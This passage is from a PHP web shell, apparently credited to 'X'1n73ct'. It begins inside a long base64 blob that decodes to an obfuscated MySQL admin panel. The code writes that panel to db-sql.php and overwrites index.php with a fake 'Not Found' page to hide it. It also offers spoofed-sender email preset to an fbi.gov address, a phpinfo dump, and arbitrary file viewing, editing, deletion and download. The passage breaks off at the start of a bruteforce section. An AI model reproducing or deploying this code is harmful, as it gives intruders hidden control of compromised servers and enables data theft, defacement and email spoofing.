ICRteXNxbEhhbmRsZSwkZGJuYW1lOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJJHF1ZXJ5X2lkID0gbXlzcWxfcXVlcnkoIlNIT1cgQ1JFQVRFIFRBQkxFICR0YWJsZSIsJG15c3FsSGFuZGxlKTsNCgkkdGFibGVkdW1wID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5X2lkLCBNWVNRTF9BU1NPQyk7DQoJJHRhYmxlZHVtcCA9ICJEUk9QIFRBQkxFIElGIEVYSVNUUyAkdGFibGU7XG4iIC4gJHRhYmxlZHVtcFsnQ3JlYXRlIFRhYmxlJ10gLiAiO1xuXG4iOw0KCWVjaG8gJHRhYmxlZHVtcDsNCgkvLyBnZXQgZGF0YQ0KCSRyb3dzID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gJHRhYmxlIiwkbXlzcWxIYW5kbGUpOw0KCSRudW1maWVsZHM9bXlzcWxfbnVtX2ZpZWxkcygkcm93cyk7DQoJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcm93cywgTVlTUUxfTlVNKSkNCgl7DQoJCSR0YWJsZWR1bXAgPSAiSU5TRVJUIElOVE8gJHRhYmxlIFZBTFVFUygiOw0KCQkkZmllbGRjb3VudGVyID0gLTE7DQoJCSRmaXJzdGZpZWxkID0gMTsNCgkJLy8gZ2V0IGVhY2ggZmllbGQncyBkYXRhDQoJCXdoaWxlICgrKyRmaWVsZGNvdW50ZXIgPCAkbnVtZmllbGRzKQ0KCQl7DQoJCQlpZiAoISRmaXJzdGZpZWxkKQ0KCQkJew0KCQkJCSR0YWJsZWR1bXAgLj0gJywgJzsNCgkJCX0NCgkJCWVsc2UNCgkJCXsNCgkJCQkkZmlyc3RmaWVsZCA9IDA7DQoJCQl9DQoJCQlpZiAoIWlzc2V0KCRyb3dbIiRmaWVsZGNvdW50ZXIiXSkpDQoJCQl7DQoJCQkJJHRhYmxlZHVtcCAuPSAnTlVMTCc7DQoJCQl9DQoJCQllbHNlDQoJCQl7DQoJCQkJJHRhYmxlZHVtcCAuPSAiJyIgLiBteXNxbF9lc2NhcGVfc3RyaW5nKCRyb3dbIiRmaWVsZGNvdW50ZXIiXSkgLiAiJyI7DQoJCQl9DQoJCX0NCgkJJHRhYmxlZHVtcCAuPSAiKTtcbiI7DQoJCWVjaG8gJHRhYmxlZHVtcDsNCgl9DQoJQG15c3FsX2ZyZWVfcmVzdWx0KCRyb3dzKTsNCn0NCg0KZnVuY3Rpb24gZHVtcCgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkYWN0aW9uLCAkZGJuYW1lLCAkdGFibGVuYW1lOw0KCWlmKCAkYWN0aW9uID09ICJkdW1wVGFibGUiICl7DQoJCWhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogZmlsZW5hbWU9JHRhYmxlbmFtZS5zcWwiKTsNCgkJaGVhZGVyKCdDb250ZW50LXR5cGU6IHVua25vd24vdW5rbm93bicpOw0KCQlmZXRjaF90YWJsZV9kdW1wX3NxbCgkdGFibGVuYW1lKTsNCgkJZWNobyAiXG5cblxuIjsNCgkJZWNobyAiXHJcblxyXG5cclxuIyMjICR0YWJsZW5hbWUgVEFCTEUgRFVNUCBDT01QTEVURUQgIyMjIjsNCgkJZXhpdDsNCgl9ZWxzZXsNCgkJaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBmaWxlbmFtZT0kZGJuYW1lLnNxbCIpOw0KCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogdW5rbm93bi91bmtub3duJyk7DQoJCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJCSRxdWVyeV9pZCA9IG15c3FsX3F1ZXJ5KCJTSE9XIHRhYmxlcyIsJG15c3FsSGFuZGxlKTsNCgkJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnlfaWQsIE1ZU1FMX05VTSkpDQoJCXsNCgkJCQlmZXRjaF90YWJsZV9kdW1wX3NxbCgkcm93WzBdKTsNCgkJCQllY2hvICJcblxuXG4iOw0KCQkJCWVjaG8gIlxyXG5cclxuXHJcbiMjIyAkcm93WzBdIFRBQkxFIERVTVAgQ09NUExFVEVEICMjIyI7DQoJCQkJZWNobyAiXG5cblxuIjsNCgkJfQ0KCQllY2hvICJcclxuXHJcblxyXG4jIyMgJGRibmFtZSBEQVRBQkFTRSBEVU1QIENPTVBMRVRFRCAjIyMiOw0KCQlleGl0Ow0KCX0NCn0NCg0KZnVuY3Rpb24gdXRpbHMoKSB7DQoJZ2xvYmFsICRQSFBfU0VMRiwgJGNvbW1hbmQ7DQoJZWNobyAiPGgxPlV0aWxpdGllczwvaDE+XG4iOw0KCWlmKCAkY29tbWFuZCA9PSAiIiB8fCBzdWJzdHIoICRjb21tYW5kLCAwLCA1ICkgPT0gImZsdXNoIiApIHsNCgkJZWNobyAiPGhyPlxuIjsNCgkJZWNobyAiU2hvd1xuIjsNCgkJZWNobyAiPHVsPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3N0YXR1cyc+U3RhdHVzPC9hPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3ZhcmlhYmxlcyc+VmFyaWFibGVzPC9hPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3Byb2Nlc3NsaXN0Jz5Qcm9jZXNzbGlzdDwvYT5cbiI7DQoJCWVjaG8gIjwvdWw+XG4iOw0KCQllY2hvICJGbHVzaFxuIjsNCgkJZWNobyAiPHVsPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1mbHVzaF9ob3N0cyc+SG9zdHM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX2hvc3RzIiApIHsNCgkJCWlmKCBteXNxbF9xdWVyeSggIkZsdXNoIGhvc3RzIiApICE9IGZhbHNlICkNCgkJCQllY2hvICItIFN1Y2Nlc3MiOw0KCQkJZWxzZQ0KCQkJCWVjaG8gIi0gRmFpbCI7DQoJCX0NCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1mbHVzaF9sb2dzJz5Mb2dzPC9hPlxuIjsNCgkJaWYoICRjb21tYW5kID09ICJmbHVzaF9sb2dzIiApIHsNCgkJCWlmKCBteXNxbF9xdWVyeSggIkZsdXNoIGxvZ3MiICkgIT0gZmFsc2UgKQ0KCQkJCWVjaG8gIi0gU3VjY2VzcyI7DQoJCQllbHNlDQoJCQkJZWNobyAiLSBGYWlsIjsNCgkJfQ0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3ByaXZpbGVnZXMnPlByaXZpbGVnZXM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3ByaXZpbGVnZXMiICkgew0KCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggcHJpdmlsZWdlcyIgKSAhPSBmYWxzZSApDQoJCQkJZWNobyAiLSBTdWNjZXNzIjsNCgkJCWVsc2UNCgkJCQllY2hvICItIEZhaWwiOw0KCQl9DQoJCWVjaG8gIjxsaT48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9Zmx1c2hfdGFibGVzJz5UYWJsZXM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3RhYmxlcyIgKSB7DQoJCQlpZiggbXlzcWxfcXVlcnkoICJGbHVzaCB0YWJsZXMiICkgIT0gZmFsc2UgKQ0KCQkJCWVjaG8gIi0gU3VjY2VzcyI7DQoJCQllbHNlDQoJCQkJZWNobyAiLSBGYWlsIjsNCgkJfQ0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3N0YXR1cyc+U3RhdHVzPC9hPlxuIjsNCgkJaWYoICRjb21tYW5kID09ICJmbHVzaF9zdGF0dXMiICkgew0KCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggc3RhdHVzIiApICE9IGZhbHNlICkNCgkJCQllY2hvICItIFN1Y2Nlc3MiOw0KCQkJZWxzZQ0KCQkJCWVjaG8gIi0gRmFpbCI7DQoJCX0NCgkJZWNobyAiPC91bD5cbiI7DQoJfSBlbHNlIHsNCgkJJHF1ZXJ5U3RyID0gZXJlZ19yZXBsYWNlKCAiXyIsICIgIiwgJGNvbW1hbmQgKTsNCgkJJHBSZXN1bHQgPSBteXNxbF9xdWVyeSggJHF1ZXJ5U3RyICk7DQoJCWlmKCAkcFJlc3VsdCA9PSBmYWxzZSApIHsNCgkJCWVjaG8gIkZhaWwiOw0KCQkJcmV0dXJuOw0KCQl9DQoJCSRjb2wgPSBteXNxbF9udW1fZmllbGRzKCAkcFJlc3VsdCApOw0KCQllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kcXVlcnlTdHI8L3A+XG4iOw0KCQllY2hvICI8aHI+XG4iOw0KCQllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yIGJvcmRlcj0wPlxuIjsNCgkJZWNobyAiPHRyPlxuIjsNCgkJZm9yKCAkaSA9IDA7ICRpIDwgJGNvbDsgJGkrKyApIHsNCgkJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCwgJGkgKTsNCgkJCWVjaG8gIjx0aD4iLiRmaWVsZC0+bmFtZS4iPC90aD5cbiI7DQoJCX0NCgkJZWNobyAiPC90cj5cbiI7DQoJCXdoaWxlKCAxICkgew0KCQkJJHJvd0FycmF5ID0gbXlzcWxfZmV0Y2hfcm93KCAkcFJlc3VsdCApOw0KCQkJaWYoICRyb3dBcnJheSA9PSBmYWxzZSApIGJyZWFrOw0KCQkJZWNobyAiPHRyPlxuIjsNCgkJCWZvciggJGogPSAwOyAkaiA8ICRjb2w7ICRqKysgKQ0KCQkJCWVjaG8gIjx0ZD4iLmh0bWxzcGVjaWFsY2hhcnMoICRyb3dBcnJheVskal0gKS4iPC90ZD5cbiI7DQoJCQllY2hvICI8L3RyPlxuIjsNCgkJfQ0KCQllY2hvICI8L3RhYmxlPlxuIjsNCgl9DQp9DQpmdW5jdGlvbiBmb290ZXJfaHRtbCgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkUEhQX1NFTEYsICRVU0VSTkFNRTsNCgllY2hvICI8aHI+XG4iOw0KCWVjaG8gIjxzcGFuIGNsYXNzPVwibmV3XCI+WyRVU0VSTkFNRV08L3NwYW4+IC0gXG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249YkdsemRFUkNjdz09Jz5EYXRhYmFzZSBMaXN0PC9hPiB8IFxuIjsNCglpZiggJHRhYmxlbmFtZSAhPSAiIiApDQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249bGlzdFRhYmxlcyZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+VGFibGUgTGlzdDwvYT4gfCAiOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMnPlV0aWxzPC9hPiB8XG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249bG9nb3V0Jz5Mb2dvdXQ8L2E+XG4iOw0KfQ0KLy8tLS0tLS0tLS0tLS0tIE1BSU4gLS0tLS0tLS0tLS0tLSAvLw0KZXJyb3JfcmVwb3J0aW5nKDApOw0KaW5pX3NldCAoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7DQppbmlfc2V0ICgnbG9nX2Vycm9ycycsIDApOw0KaWYoICRhY3Rpb24gPT0gImxvZ29uIiB8fCAkYWN0aW9uID09ICIiIHx8ICRhY3Rpb24gPT0gImxvZ291dCIgKQ0KCWxvZ29uKCk7DQplbHNlIGlmKCAkYWN0aW9uID09ICJiRzluYjI1ZmMzVmliV2wwIiApDQoJbG9nb25fc3VibWl0KCk7DQplbHNlIGlmKCAkYWN0aW9uID09ICJkdW1wVGFibGUiIHx8ICRhY3Rpb24gPT0gImR1bXBEQiIgKSB7DQoJd2hpbGUoIGxpc3QoJHZhciwgJHZhbHVlKSA9IGVhY2goJEhUVFBfQ09PS0lFX1ZBUlMpICkgew0KCQlpZiggJHZhciA9PSAibXlzcWxfd2ViX2FkbWluX3VzZXJuYW1lIiApICRVU0VSTkFNRSA9ICR2YWx1ZTsNCgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIgKSAkUEFTU1dPUkQgPSAkdmFsdWU7DQoJCWlmKCAkdmFyID09ICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiICkgJEhPU1ROQU1FID0gJHZhbHVlOw0KCX0NCgkkbXlzcWxIYW5kbGUgPSBAbXlzcWxfY29ubmVjdCggJEhPU1ROQU1FLiI6MzMwNiIsICRVU0VSTkFNRSwgJFBBU1NXT1JEICk7DQoJZHVtcCgpOw0KfSBlbHNlIHsNCgl3aGlsZSggbGlzdCgkdmFyLCAkdmFsdWUpID0gZWFjaCgkSFRUUF9DT09LSUVfVkFSUykgKSB7DQoJCWlmKCAkdmFyID09ICJteXNxbF93ZWJfYWRtaW5fdXNlcm5hbWUiICkgJFVTRVJOQU1FID0gJHZhbHVlOw0KCQlpZiggJHZhciA9PSAibXlzcWxfd2ViX2FkbWluX3Bhc3N3b3JkIiApICRQQVNTV09SRCA9ICR2YWx1ZTsNCgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIgKSAkSE9TVE5BTUUgPSAkdmFsdWU7DQoJfQ0KCWVjaG8gIjwhLS0iOw0KCSRteXNxbEhhbmRsZSA9IEBteXNxbF9jb25uZWN0KCAkSE9TVE5BTUUuIjozMzA2IiwgJFVTRVJOQU1FLCAkUEFTU1dPUkQgKTsNCgllY2hvICItLT4iOw0KCWlmKCAkbXlzcWxIYW5kbGUgPT0gZmFsc2UgKSB7DQoJCWVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGhlaWdodD0xMDAlPjx0cj48dGQ+PGNlbnRlcj5cbiI7DQoJCWVjaG8gIjxoMT5Xcm9uZyBQYXNzd29yZCE8L2gxPlxuIjsNCgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1sb2dvbic+TG9nb248L2E+XG4iOw0KCQllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7DQoJfSBlbHNlIHsNCgkJaWYoICRhY3Rpb24gPT0gImJHbHpkRVJDY3c9PSIgKQ0KCQkJbGlzdERhdGFiYXNlcygpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJjcmVhdGVEQiIgKQ0KCQkJY3JlYXRlRGF0YWJhc2UoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcERCIiApDQoJCQlkcm9wRGF0YWJhc2UoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAibGlzdFRhYmxlcyIgKQ0KCQkJbGlzdFRhYmxlcygpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJjcmVhdGVUYWJsZSIgKQ0KCQkJY3JlYXRlVGFibGUoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcFRhYmxlIiApDQoJCQlkcm9wVGFibGUoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAidmlld1NjaGVtYSIgKQ0KCQkJdmlld1NjaGVtYSgpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJxdWVyeSIgKQ0KCQkJdmlld0RhdGEoICRxdWVyeVN0ciApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJhZGRGaWVsZCIgKQ0KCQkJbWFuYWdlRmllbGQoICJhZGQiICk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImFkZEZpZWxkX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRmllbGRfc3VibWl0KCAiYWRkIiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJlZGl0RmllbGQiICkNCgkJCW1hbmFnZUZpZWxkKCAiZWRpdCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZWRpdEZpZWxkX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRmllbGRfc3VibWl0KCAiZWRpdCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcEZpZWxkIiApDQoJCQlkcm9wRmllbGQoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IiApDQoJCQl2aWV3RGF0YSggIiIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiYWRkRGF0YSIgKQ0KCQkJbWFuYWdlRGF0YSggImFkZCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiYWRkRGF0YV9zdWJtaXQiICkNCgkJCW1hbmFnZURhdGFfc3VibWl0KCAiYWRkIiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJlZGl0RGF0YSIgKQ0KCQkJbWFuYWdlRGF0YSggImVkaXQiICk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImVkaXREYXRhX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRGF0YV9zdWJtaXQoICJlZGl0IiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJkZWxldGVEYXRhIiApDQoJCQlkZWxldGVEYXRhKCk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gInV0aWxzIiApDQoJCQl1dGlscygpOw0KCQlteXNxbF9jbG9zZSggJG15c3FsSGFuZGxlKTsNCgkJZm9vdGVyX2h0bWwoKTsNCgl9DQp9DQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5NeVNRTCBJbnRlcmZhY2UgKERldmVsb3BlZCBCeSBNb2hhamVyMjIpPC90aXRsZT4NCjxib2R5IGJnQ29sb3I9IzAwMDAwMCA+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KPCEtLQ0KcC5sb2NhdGlvbiB7DQoJY29sb3I6ICMwMEZGMDA7DQp9DQpoMSwgaDIsIGgzIHsNCgljb2xvcjogIzAwRkYwMDsNCn0NCnRoIHsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjMjIyMjIyOw0KCWNvbG9yOiAjMDBGRjAwOw0KCWZvbnQtc2l6ZTogc21hbGw7DQp9DQp0ZCB7DQoJY29sb3I6ICMwMEZGMDA7DQoJYmFja2dyb3VuZC1jb2xvcjogIzQ0NDQ0NDsNCglmb250LXNpemU6IHNtYWxsOw0KfQ0KZm9ybSB7DQoJbWFyZ2luLXRvcDogMDsNCgltYXJnaW4tYm90dG9tOiAwOw0KfQ0KYSB7DQoJdGV4dC1kZWNvcmF0aW9uOm5vbmU7DQoJY29sb3I6ICMwMEZGMDA7DQoJZm9udC1zaXplOnNtYWxsOw0KfQ0KQTpsaW5rIHsNCkNPTE9SOiNGRkZGRkY7DQpURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6dmlzaXRlZCB7DQpDT0xPUjojMDBGRjAwOw0KVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmFjdGl2ZSB7DQpDT0xPUjojMDBGRjAwOw0KVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmhvdmVyIHsNCmNvbG9yOiMwMEZGMDA7DQpURVhULURFQ09SQVRJT046IG5vbmUNCn0NCmlucHV0LCBzZWxlY3QsIHRleHRhcmVhIHsNCmJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7DQpib3JkZXItc3R5bGU6IHNvbGlkOw0KZm9udC1mYW1pbHk6IFRhaG9tYSxWZXJkYW5hLEFyaWFsLFNhbnMtU2VyaWY7DQpmb250LXNpemU6c21hbGw7DQpjb2xvcjogIzAwRkYwMDsNCnBhZGRpbmc6IDBweDsNCn0NCmxpIHsNCmNvbG9yOiAjMDBGRjAwOw0KfQ0KLm5ldyB7DQpjb2xvcjogIzAwRkYwMDsNCn0NCi8vLS0+DQo8L3N0eWxlPg0KPC9oZWFkPg==\'; \r\n$file = fopen("db-sql.php" ,"w+");\r\n$write = fwrite ($file ,base64_decode($sqlshell));\r\nfclose($file);\r\n chmod("db-sql.php", 0644);\r\n$indexshell = fopen("index.php" ,"w+");\r\n$data = \'PGgxPk5vdCBGb3VuZDwvaDE+IA0KPHA+VGhlIHJlcXVlc3RlZCBVUkwgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+IA0KPGhyPiANCjxhZGRyZXNzPkFwYWNoZSBTZXJ2ZXIgYXQgPD89JF9TRVJWRVJbJ0hUVFBfSE9TVCddPz4gUG9ydCA4MDwvYWRkcmVzcz4gDQogICAgPHN0eWxlPiANCiAgICAgICAgaW5wdXQgeyBtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyB9IA0KICAgIDwvc3R5bGU+\';\r\n$tulis = fwrite( $indexshell, base64_decode($data));\r\nfclose($indexshell);\r\n echo "<iframe src=mysql/db-sql.php width=97% height=100% frameborder=0></iframe>"; \r\n}\r\n\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'mail\')){\r\nif(isset($_POST[\'mail_send\'])){\r\n\t$mail_to = $_POST[\'mail_to\'];\r\n\t$mail_from = $_POST[\'mail_from\'];\r\n\t$mail_subject = $_POST[\'mail_subject\'];\r\n\t$mail_content = magicboom($_POST[\'mail_content\']);\r\n\tif(@mail($mail_to,$mail_subject,$mail_content,"FROM:$mail_from")){\r\n\t\t$msg = "email sent to $mail_to";\r\n\t}\r\n\telse $msg = "send email failed";\r\n}\r\n?>\r\n<form action="?y=<?php echo $pwd; ?>&x=mail" method="post">\r\n<table class="cmdbox">\r\n<tr><td>\r\n<textarea class="output" name="mail_content" id="cmd" style="height:340px;">Hey there, please patch me ASAP ;-p</textarea>\r\n<tr><td> <input class="inputz" style="width:20%;" type="text" value="admin@somesome.com" name="mail_to" /> mail to</td></tr>\r\n<tr><td> <input class="inputz" style="width:20%;" type="text" value="X-1n73ct@fbi.gov" name="mail_from" /> from</td></tr>\r\n<tr><td> <input class="inputz" style="width:20%;" type="text" value="patch me" name="mail_subject" /> subject</td></tr>\r\n<tr><td> <input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="mail_send" /></td></tr></form>\r\n<tr><td> <?php echo $msg; ?></td></tr>\r\n</table>\r\n</form>\r\n\r\n<?php }\r\n\r\n\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'phpinfo\')){ \r\n\t@ob_start();\r\n\t@eval("phpinfo();");\r\n\t$buff = @ob_get_contents();\r\n\t@ob_end_clean();\t\r\n\t$awal = strpos($buff,"<body>")+6;\r\n\t$akhir = strpos($buff,"</body>");\r\n\techo "<div class=\\"phpinfo\\">".substr($buff,$awal,$akhir-$awal)."</div>";\r\n}\r\nelseif(isset($_GET[\'view\']) && ($_GET[\'view\'] != "")){\r\n if(is_file($_GET[\'view\'])){ \r\n\tif(!isset($file)) $file = magicboom($_GET[\'view\']);\r\n\tif(!$win && $posix){\r\n\t\t$name=@posix_getpwuid(@fileowner($folder));\r\n\t\t$group=@posix_getgrgid(@filegroup($folder));\r\n\t\t$owner = $name[\'name\']."<span class=\\"gaya\\"> : </span>".$group[\'name\'];\r\n\t}\r\n\telse {\r\n\t\t$owner = $user;\r\n\t}\r\n\t$filn = basename($file);\r\n\techo "<table style=\\"margin:6px 0 0 2px;line-height:20px;\\">\r\n\t<tr><td>Filename</td><td><span id=\\"".clearspace($filn)."_link\\">".$file."</span>\r\n\t<form action=\\"?y=".$pwd."&view=$file\\" method=\\"post\\" id=\\"".clearspace($filn)."_form\\" class=\\"sembunyi\\" style=\\"margin:0;padding:0;\\">\r\n\t\t<input type=\\"hidden\\" name=\\"oldname\\" value=\\"".$filn."\\" style=\\"margin:0;padding:0;\\" />\r\n\t\t<input class=\\"inputz\\" style=\\"width:200px;\\" type=\\"text\\" name=\\"newname\\" value=\\"".$filn."\\" />\r\n\t\t<input class=\\"inputzbut\\" type=\\"submit\\" name=\\"rename\\" value=\\"rename\\" />\r\n\t\t<input class=\\"inputzbut\\" type=\\"submit\\" name=\\"cancel\\" value=\\"cancel\\" onclick=\\"tukar(\'".clearspace($filn)."_link\',\'".clearspace($filn)."_form\');\\" />\r\n\t</form>\r\n\t</td></tr>\r\n\t<tr><td>Size</td><td>".ukuran($file)."</td></tr>\r\n\t<tr><td>Permission</td><td>".get_perms($file)."</td></tr>\r\n\t<tr><td>Owner</td><td>".$owner."</td></tr>\r\n\t<tr><td>Create time</td><td>".date("d-M-Y H:i",@filectime($file))."</td></tr>\r\n\t<tr><td>Last modified</td><td>".date("d-M-Y H:i",@filemtime($file))."</td></tr>\r\n\t<tr><td>Last accessed</td><td>".date("d-M-Y H:i",@fileatime($file))."</td></tr>\r\n\t<tr><td>Actions</td><td><a href=\\"?y=$pwd&edit=$file\\">edit</a> | <a href=\\"javascript:tukar(\'".clearspace($filn)."_link\',\'".clearspace($filn)."_form\');\\">rename</a> | <a href=\\"?y=$pwd&delete=$file\\">delete</a> | <a href=\\"?y=$pwd&dl=$file\\">download</a> (<a href=\\"?y=$pwd&dlgzip=$file\\">gzip</a>)</td></tr>\r\n\t<tr><td>View</td><td><a href=\\"?y=".$pwd."&view=".$file."\\">text</a> | <a href=\\"?y=".$pwd."&view=".$file."&type=code\\">code</a> | <a href=\\"?y=".$pwd."&view=".$file."&type=image\\">image</a></td></tr>\r\n\t</table>\r\n\t";\r\n\tif(isset($_GET[\'type\']) && ($_GET[\'type\']==\'image\')){\r\n\t\techo "<div style=\\"text-align:center;margin:8px;\\"><img src=\\"?y=".$pwd."&img=".$filn."\\"></div>";\r\n\t}\r\n\telseif(isset($_GET[\'type\']) && ($_GET[\'type\']==\'code\')){\r\n\t\techo "<div class=\\"viewfile\\">";\r\n\t\t$file = wordwrap(@file_get_contents($file),"240","\\n");\r\n\t\t@highlight_string($file);\r\n\t\techo "</div>";\r\n\t}\r\n\telse {\r\n\t\techo "<div class=\\"viewfile\\">";\r\n\t\techo nl2br(htmlentities((@file_get_contents($file))));\r\n\t\techo "</div>";\r\n\t}\r\n }\r\n elseif(is_dir($_GET[\'view\'])){\r\n\t\techo showdir($pwd,$prompt);\r\n }\r\n\t\r\n}\r\nelseif(isset($_GET[\'edit\']) && ($_GET[\'edit\'] != "")){\r\n\r\n\t\tif(isset($_POST[\'save\'])){\r\n\t\t\t$file = $_POST[\'saveas\'];\r\n\t\t\t$content = magicboom($_POST[\'content\']);\r\n\t\t\tif($filez = @fopen($file,"w")){\r\n\t\t\t\t$time = date("d-M-Y H:i",time());\r\n\t\t\t\tif(@fwrite($filez,$content)) $msg = "file saved <span class=\\"gaya\\">@</span> ".$time;\r\n\t\t\t\telse $msg = "failed to save";\r\n\t\t\t\t@fclose($filez);\r\n\t\t\t}\r\n\t\t\telse $msg = "permission denied";\r\n\t\t}\r\n\t\tif(!isset($file)) $file = $_GET[\'edit\'];\r\n\t\tif($filez = @fopen($file,"r")){\r\n\t\t\t$content = "";\r\n\t\t\twhile(!feof($filez)){\r\n\t\t\t\t$content .= htmlentities(str_replace("\'\'","\'",fgets($filez)));\r\n\t\t\t}\r\n\t\t\t@fclose($filez);\r\n\t\t}\r\n\t\r\n?>\r\n<form action="?y=<?php echo $pwd; ?>&edit=<?php echo $file; ?>" method="post">\r\n<table class="cmdbox">\r\n<tr><td colspan="2">\r\n<textarea class="output" name="content">\r\n<?php echo $content; ?>\r\n</textarea>\r\n<tr><td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php echo $file; ?>" /><input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" />\r\n <?php echo $msg; ?></td></tr>\r\n</table>\r\n</form>\r\n<?php\r\n}\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'logout\'))\r\n{\t\r\n?>\r\n<form action="?y=<?php echo $pwd; ?>&x=logout" method="post">\r\n\r\n<?php\r\n unset($_SESSION[md5($_SERVER[\'HTTP_HOST\'])]); \r\n echo \'bye!\'; \r\n}\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'brute\'))\r\n\t\t\t{\t\r\n\t\t\t?>\r\n\t\t\t\t<form action="?y=<?php echo $pwd; ?>&x=brute" method="post">\r\n\t\t\t<?php\r\n\t\t\t//bruteforce\r\n?>\r\n<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />\r\n<?php\r\n/*\r\nRecoded By X\'1n73ct\r\n*/\r\n@set_time_limit(0);\r\n@error_reporting(0);\r\n\r\n\r\nif($_POST[\'page\']==\'find\')\r\n{\r\nif(isset($_POST[\'usernames\']) && isset($_POST[\'passwords\']))\r\n{\r\n if($_POST[\'type\'] == 